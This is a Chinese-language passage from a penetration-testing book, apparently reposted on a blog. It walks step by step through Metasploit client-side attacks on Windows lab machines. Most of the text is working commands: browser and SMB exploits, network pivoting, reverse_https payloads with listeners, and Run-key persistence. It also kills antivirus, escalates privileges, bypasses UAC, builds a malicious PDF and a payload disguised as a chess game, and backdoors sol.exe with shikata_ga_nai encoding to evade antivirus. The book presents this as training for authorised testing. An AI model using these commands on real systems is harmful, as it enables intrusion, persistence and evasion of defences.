在这本书中我们使用的示例中,Kali 机器的 IP 地址是 192.168.177.170,这也是我们设置的LHOST。对于您的目的,您将不得不使用您拥有的 Kali 地址。我们将在 metasploit 窗口中输入以下命令:

use exploit/windows/browser/ie_cgenericelement_uaf
set SRVHOST 192.168.177.170
set LHOST 192.168.177.170
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

上述命令的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们现在有了我们需要让用户访问的 URL。对于我们的目的,我们将在运行 Windows XP Service Pack 3 的 Internet Explorer 8 中复制并粘贴它。一旦我们粘贴了它,我们可能需要刷新浏览器几次才能使有效载荷起作用;然而,在现实生活中,我们只有一次机会,所以要谨慎选择您的漏洞,以便受害者的一次点击能够产生预期的效果。因此,要成为一个成功的测试人员,对各种漏洞的实践和知识至关重要。一旦利用完成并创建了您的会话,您应该看到的内容示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示一个示例,一旦利用完成并创建了您的会话,您应该看到的内容(裁剪的文本不重要)

现在我们在机器上有一个 shell,并且我们想要检查它是否有双重主机。在 Meterpreter shell 中,输入ipconfig来查看您已经利用的机器是否有第二个网络卡。书中我们利用的机器示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们很幸运。我们有第二个连接的网络卡和另一个网络供我们探索,所以现在让我们这样做。我们必须做的第一件事是设置 shell 以路由到我们新发现的网络。这也是我们选择 Meterpreter shell 的另一个原因,它为我们提供了设置路由的能力。在 shell 中,输入run autoroute –s 10.2.0.0/24来设置到我们 10 网络的路由。一旦命令完成,我们将查看我们的路由表,并输入run autoroute –p来显示路由表。这方面的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们现在通过会话 1 有了到我们 10 网络的路由。所以,现在是时候看看我们的 10 网络上有什么了。接下来,我们将为我们的会话 1 添加一个后台;按下Ctrl + z将会话放到后台。我们将使用 metasploit 工具内的扫描功能。输入以下命令:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.2.0.0/24
set PORTS 139,445
set THREADS 50
run

端口扫描器效率不高,扫描需要一些时间才能完成。您可以选择直接在 metasploit 中使用 Nmap 扫描器。输入nmap –sP 10.2.0.0/24。一旦确定了活动系统,对目标进行扫描方法。在我们的示例中,我们的目标位于10.2.0.149

这次扫描的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有一个目标,我们可以使用我们之前介绍的多种方法来攻击它。在这里,我们将看看是否可以利用著名的 MS08-067 服务服务器缓冲区溢出攻击目标。在 metasploit 窗口中,将会话设置为后台,并输入以下命令:

use exploit/windows/smb/ms08_067_netapi
set RHOST 10.2.0.149
set PAYLOAD windows/meterpreter/bind_tcp
exploit

如果一切顺利,您应该看到机器上打开了一个 shell。当它打开时,输入ipconfig查看机器上的网络配置。从这里开始,只是执行我们之前遵循的过程,如果您找到另一台双主机机器,那么您可以进行另一个枢纽并继续。此结果的示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的屏幕截图所示,枢纽成功了,我们现在在 metasploit 中有另一个会话打开。这反映在本地管道 | 远程管道的引用中。完成查看信息后,输入sessions以显示会话的信息。此结果的示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

代理利用

在这一部分,我们将看一下 metasploit 工具使用 HTTP 和 HTTPS 进行通信的能力。我们经常遭受的一种防御是出站或出站流量的概念。现在,通常情况下只允许出站 HTTP 和 HTTPS 流量;因此,metasploit 的开发人员已经为此创建了模块。

利用客户端配置

当我们使用技术将通信传输到我们的攻击者机器时,我们将读取客户端配置,然后通过那里配置的代理发送流量。传统上,这是一个困难的过程,需要相当长的时间来设置。因此,时间和通信要求增加了被检测到或会话超时的机会。幸运的是,我们可以探索其他附加选项来帮助我们。metasploit 的开发人员已经创建了两个分段器,允许我们利用客户端配置,并且在 Meterpreter shell 内部原生支持 HTTP 和 HTTPS 通信。此外,这些分段器提供了设置多种不同选项的能力,允许在指定的时间段内重新连接会话,通过设置会话的到期日期。

这两个分段器是reverse_httpreverse_https。这两个分段器是独特的,它们不与特定的 TCP 会话绑定,即它们提供了基于数据包的事务方法,而其他选项是基于流的。这为攻击提供了更强大的一组选项。此外,我们提供了三个选项来帮助我们确定用户何时完成,它们如下:

  • 到期日期:默认值为一周

  • 生存时间TTL):默认值为 5 分钟

  • 暴露的 API 核心:使用分离命令退出但不终止会话

这些参数允许我们断开会话并自动稍后重新连接。它们还允许我们将有效载荷设置为持久侦听器,然后即使目标重新启动或关闭,也可以连接到它。我们现在将探讨这一点。

我们将使用一个恶意可执行文件作为示例。我们可以使用多种不同的向量,如 Web、电子邮件或 USB,但为了更简单的选择,我们将使用恶意可执行文件。此外,我们将使用一个特殊的工具来创建有效载荷。如果您没有运行 metasploit,请输入msfconsole来启动该工具。一旦工具启动,输入msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.177.170 LPORT=4443 > https.exe来创建名为https.exe的可执行文件。该命令的输出示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们将设置处理程序。在 metasploit 中输入以下内容:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.177.170
set LPORT 4443
set SessionCommunicationTimeout 0
set ExitOnSession false
exploit –j

一旦完成,命令的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们准备让受害者运行我们的可执行文件。在我们将可执行文件移动到受害者机器后,双击文件,返回到 metasploit 处理程序,并观察结果。这一点的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从这里开始,取决于我们想要做什么。在 Meterpreter shell 中输入我们之前使用过的一些命令。这里的额外好处是我们所有的通信都会传出到 4443 端口,这看起来会和正常流量一模一样。在 Kali 中,启动 Wireshark 的捕获,观察机器之间的通信。这一点的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

同样,如果我们想要将端口更改为 SSH、HTTPS 或任何我们认为可以离开我们正在测试的环境的端口,我们是自由的。要了解这种能力有多强大,继续让客户端与你连接。在 Meterpreter shell 中,输入detach退出会话;一旦你退出,受害者就会重新连接到你。

这一点的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们接下来要尝试的是通过将代码复制到注册表中来设置受害者,以便攻击即使在重启后也能生存。在 Meterpreter shell 中,输入以下命令:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d 'C:\windows\https.exe'
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

使用这些命令的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

通过这些命令,我们首先枚举了注册表,然后设置了引用启动时的程序。正如第三个命令所示,evil程序现在位于注册表键中。当然,如果我们试图隐藏它,我们会给它取一个别的名字。我们可以通过访问 Windows XP 机器并导航到开始 | 运行 | regedit并搜索程序来验证程序是否已经植入。这一点的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们要重启受害者机器。重启后,连接返回到 metasploit 窗口的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端利用

到目前为止,我们所涵盖的大部分内容都是一种客户端利用的形式。在本节中,我们将探讨更多攻击客户端的方法。我们将继续利用客户端的矢量来攻击机器,点击链接或文件并被重定向到我们的攻击者机器。在我们继续之前,我们想再次强调,在撰写本书时,我们使用了最新和最先进的攻击方法。当你阅读本书时,一些事情可能已经发生了变化。然而,唯一不变的是过程和方法论。只要你继续遵循系统化的过程,你就能发现和识别最新的技术,并相应地修改你的方法。

我们在本章中使用的先前方法的一个挑战是,我们必须根据我们遇到的软件版本选择特定的漏洞利用。我们在 Java 和 Internet Explorer 上做到了这一点。这很有效,但是如果我们不知道受害者连接到我们时系统上确切会有什么呢?你可以想象,这是一个合理的担忧。幸运的是,metasploit 出色的开发人员已经解决了这个问题。因此,他们为我们提供了一个模块,一旦连接建立,将尝试提供各种漏洞利用。这个模块就是browser_autopwn。这个强大的模块设置了一个带有库存中所有当前漏洞利用的 Web 服务器,当连接建立时,该模块会运行所有可用的漏洞利用,直到找到一个。记住,正如不能被忽视的那样,利用并不是 100%,所以有可能失败。但作为测试人员,我们必须始终尝试,并保持记录发现并继续我们的测试。

所以,让我们开始吧。在 metasploit 界面中,输入以下命令:

use auxiliary/server/browser_autopwn
set LHOST <Kali IP>
set SRVHOST <Kali IP>
set SRVPORT 80
set URIPATH /
run

URIPATH设置告诉 metasploit 不要生成随机 URL。我们希望客户端只连接到运行在 Kali 机器上的服务器的地址。以下是这些设置的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦输入了run命令,你会注意到工具开始创建支持我们的漏洞利用的许多组件。这将需要一些时间来完成。以下是一些不同组件为漏洞利用创建的输出的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在撰写本书时,我们准备了 19 个漏洞利用,作为连接受害者的准备工作的一部分。以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们之前没有评论过,但是一旦收到 shell,你会注意到迁移过程正在进行。这是因为当你尝试利用漏洞时,浏览器并不是非常稳定。因此,一旦获得访问权限,迁移利用是很重要的。如果浏览器崩溃或被用户关闭,对你的会话影响不大。

当客户端连接时的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

作为提醒,模块将继续触发漏洞并尝试获取会话,但不能保证一定成功。阅读本书的一些人可能会想知道,如果另一台机器连接到我们的服务器会发生什么。使用 Firefox 作为浏览器的示例,请参考以下截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从这一点开始,你所能做的就是等待,看看你是否能幸运地成功利用其中一个漏洞。如果一切顺利,最终你会看到一个会话打开。以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有了一个 shell,我们可以执行本书中之前介绍的任何事情。到目前为止我们还没有介绍过一个,我们现在来介绍一下。使用 sessions 命令开始与 Meterpreter shell 进行交互。一旦进入 shell,输入run getcountermeasure查看客户端上有什么类型的保护。以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们看到机器上有一个潜在的杀毒程序,我们也看到防火墙已经打开。我们要做的第一件事是尝试关闭杀毒程序。输入run killav尝试关闭正在运行的杀毒程序。以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们没有成功,这是因为我们没有达到所需的特权级别。我们可以尝试迁移到一个进程来提升我们的特权,但这意味着我们必须额外工作来确定要迁移到哪个进程,而且我们可能不会成功。所以,让我们尝试另一种方法。正如我们不断强调的,我们有方法论;工具会随着时间和大量实践而来。在 Meterpreter shell 中,输入getsystem让工具尝试一些技术来提升特权。这方面的一个示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们现在拥有系统,并且可以关闭我们之前检测到的保护。此外,由于权限已经提升,我们可以在这个系统上做任何我们想做的事情。我们将把这留作一个作业练习,供那些想进一步探索的人使用。

在本节中,我们将再看一件事,那就是绕过机器上的用户账户控制(UAC)的能力。正如我们之前发现的,不能保证我们会成功,但至少我们可以尝试一下。在 metasploit 工具中,如果你不再有活动会话,使用我们之前介绍的各种方法之一来利用机器,并确定会话的特权级别。一旦你做到了这一点,将会话设置为后台,并搜索一个漏洞。我们已经介绍了所有这些步骤,所以在这里我们不会再介绍它们。一旦你准备好搜索,输入search uac并搜索 UAC 绕过。

搜索结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们有许多不同的技术可用,但一个问题是,没有比 2012 年更新的内容,所以我们在利用这方面的成功可能会有限。我们可以尝试,而且由于我们有三种被评为优秀的技术,我们将使用它们。它们共同的一点是,必须启动一个会话才能尝试绕过。我们将从底部开始,逐步向上工作。搜索结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们在第一次尝试中成功了,从这一点开始,我们可以继续进行之前介绍的后期利用技术。请记住要遵守我们工作范围中详细说明的要求。

二进制有效载荷

在 metasploit 工具中,我们有能力生成自己的二进制有效载荷,这就是我们将在本节中讨论的内容。要查看这个选项,启动 metasploit 工具,输入msfpayload windows/shell_reverse_tcp O。结尾的O将显示可以为我们的有效载荷设置的选项。由于我们正在设置一个反向 shell,你可能已经对此有一个很好的想法。这个命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们有基于我们 Kali 机器的本地机器地址的默认设置。因此,除非我们想要定义一个特定的LPORT来穿越防火墙,否则我们实际上不需要进行任何更改。对于我们的目的,我们将保持设置不变。输入msfpayload LPORT=4443 X > /tmp/chess.exe。文件创建后,我们将查看文件的详细信息。在窗口中输入file /tmp/chess.exe

这些命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在准备进行下一步,即将文件传输到受害者机器上,以便他们可以执行它。这就是为什么我们选择了chess这个名字;看起来我们为他们准备了一个游戏。在将文件传输到机器之前,我们必须设置 metasploit 工具以接收连接。在 metasploit 窗口中,输入以下内容:

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.177.170
set LPORT 4444
exploit

这种结果的示例如下屏幕截图所示:

二进制有效负载

我们现在已经准备好受害者连接。就像在整章中一样,我们将文件复制到受害者机器上,然后执行它。由于我们已经解释了很多次,我们将继续下一个项目。

恶意 PDF 文件

另一个常见的攻击载体是使用常见文件来托管我们的利用代码,这就是我们在恶意 PDF 文件中所做的。我们将在 PDF 文件中创建一个有效负载;当受害者使用易受攻击的 Adobe Reader 版本运行它时,我们就可以访问该机器。这种载体已经多次被用来妥协大量公司。在 metasploit 中,有许多工具可供我们使用来创建 PDF 文件。在 metasploit 中输入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME pay.pdf
set LHOST <Kali>
set LPORT 5555
show options
exploit

此命令的输出示例如下屏幕截图所示:

恶意 PDF 文件

正如前面的屏幕截图所示,我们现在将有效负载伪装成 PDF。屏幕截图还显示,我们需要特定版本的 Adobe 才能使漏洞利用起作用。同样,我们已经经历了足够的过程,这里就不再重复了。过程是一样的;唯一的区别是我们将使用 PDF 文件作为攻击的载体。

绕过杀毒软件和其他保护工具

我们在客户端测试中面临的挑战之一是(很可能)会有端点保护措施,因此不仅有可能被抓住,还有可能被主机保护删除我们的载体。与任何基于签名的检测一样,存在一个包含已发现的不同病毒及其变种签名的数据库。当我们查看本章中使用的技术时,我们需要看看我们开发的有效负载是否会被杀毒软件检测到。

注意

一个非常有帮助的网站是www.virustotal.com

我们可以上传我们的潜在有效负载,并查看杀毒软件是否检测到它。在本章前面创建的https.exe文件的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

正如前面的屏幕截图所示,51 个杀毒产品中有 34 个检测到了该文件。这大约占了 67%,并不是一个很好的检测率。与之前一样,我们将查看我们正在测试的网站是否有杀毒软件的版本,然后我们将查看该产品在查看文件时是否成功。以下屏幕截图显示了一些未将代码检测为恶意的产品示例:

绕过杀毒软件和其他保护工具

我们要查看的下一个文件是我们的 PDF 文件。检测能力的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

显示检测能力的屏幕(裁剪的文本不重要)

我们对 PDF 文件的检测率甚至更低,因此我们可以通过更多产品。比二进制有效负载更高。

混淆和编码

由于我们知道我们的文件正在被检测到,我们有方法可以尝试使它们更难以被检测到,可以想象,基于签名的检测的目标是修改文件,使其不匹配签名。与以前一样,我们将查看 metasploit 提供的模块,尝试修改文件的签名。我们将查看的工具是 metasploit 中的msfencode。我们可以通过输入msfencode -h来查看工具的用法。这个命令的输出如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们接下来要探索的是实际的编码器本身。这个工具不仅有许多选项,而且有相当多不同的编码器,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将使用的最后一种技术是在可执行文件中创建后门的概念。我们喜欢这一点的原因是我们可以在任何合法的可执行文件中创建后门,当用户运行它时,它们将向我们发送一个 shell。我们将用于此实验的程序是sol.exe,即纸牌游戏程序。在使用编码器之前,我们必须从 Windows 机器上复制原始的sol.exe文件,并将其放在模板文件夹中,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦我们将文件放在正确的位置,我们将在可执行文件中创建后门,并再次使用msfpayloadmsfencode的组合。输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.170 LPORT=443 R | msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3

这个命令的输出示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

由于我们已经使用了编码器,现在我们想要看看将其上传到 Virustotal 网站后会得到什么结果。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的编码已经非常成功。现在只有 14%的产品会检测到我们的代码,所以这比以前好多了。而且,我们只做了三次迭代。我们可能还可以进一步改进,这是你可能想要尝试的,但对于我们的目的,我们将在这里停止编码。在这一点上,你将设置多处理程序,然后执行程序;此时,受害者将连接到你的机器。这个示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

总结

在本章中,我们讨论了客户端攻击,随着供应商改进其安全性,这仍然是首选的方法。我们仍然可以使用本书中讨论的其他方法;随着时间的推移,服务器端攻击变得不那么有效。然而,正如我们在整本书中所说的,你必须测试所有可能性,这就是为什么我们有一个系统化的流程要遵循。我们从研究诱饵和诱饵的概念开始了本章,以便让客户端来到我们这里。

在讨论了诱饵和诱饵之后,我们研究了从客户端窃取数据的方法,也就是说,一旦我们有了 shell,我们可以从客户端提取什么。我们使用了 metasploit 中可用的一些枚举工具来完成这个任务。

在此之后,我们研究了从客户端建立一个枢纽点的强大技术,然后对我们无法访问的机器进行攻击,而这些机器是没有第一个受损机器的情况下无法访问的。

我们讨论的下一个领域是不同类型的客户端利用;我们有browser_autopwn,二进制载荷和恶意 PDF 文件。

最后,我们关闭了这一章,并研究了如何绕过杀毒软件和其他基于签名的检测产品的检测。我们在纸牌游戏程序中创建了一个带后门的可执行文件,并在程序执行后获得了对受害者机器的访问权限。

本章到此结束。在下一章中,我们将看看如何创建一个完整的架构,并将本书中的所有概念整合在一起。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值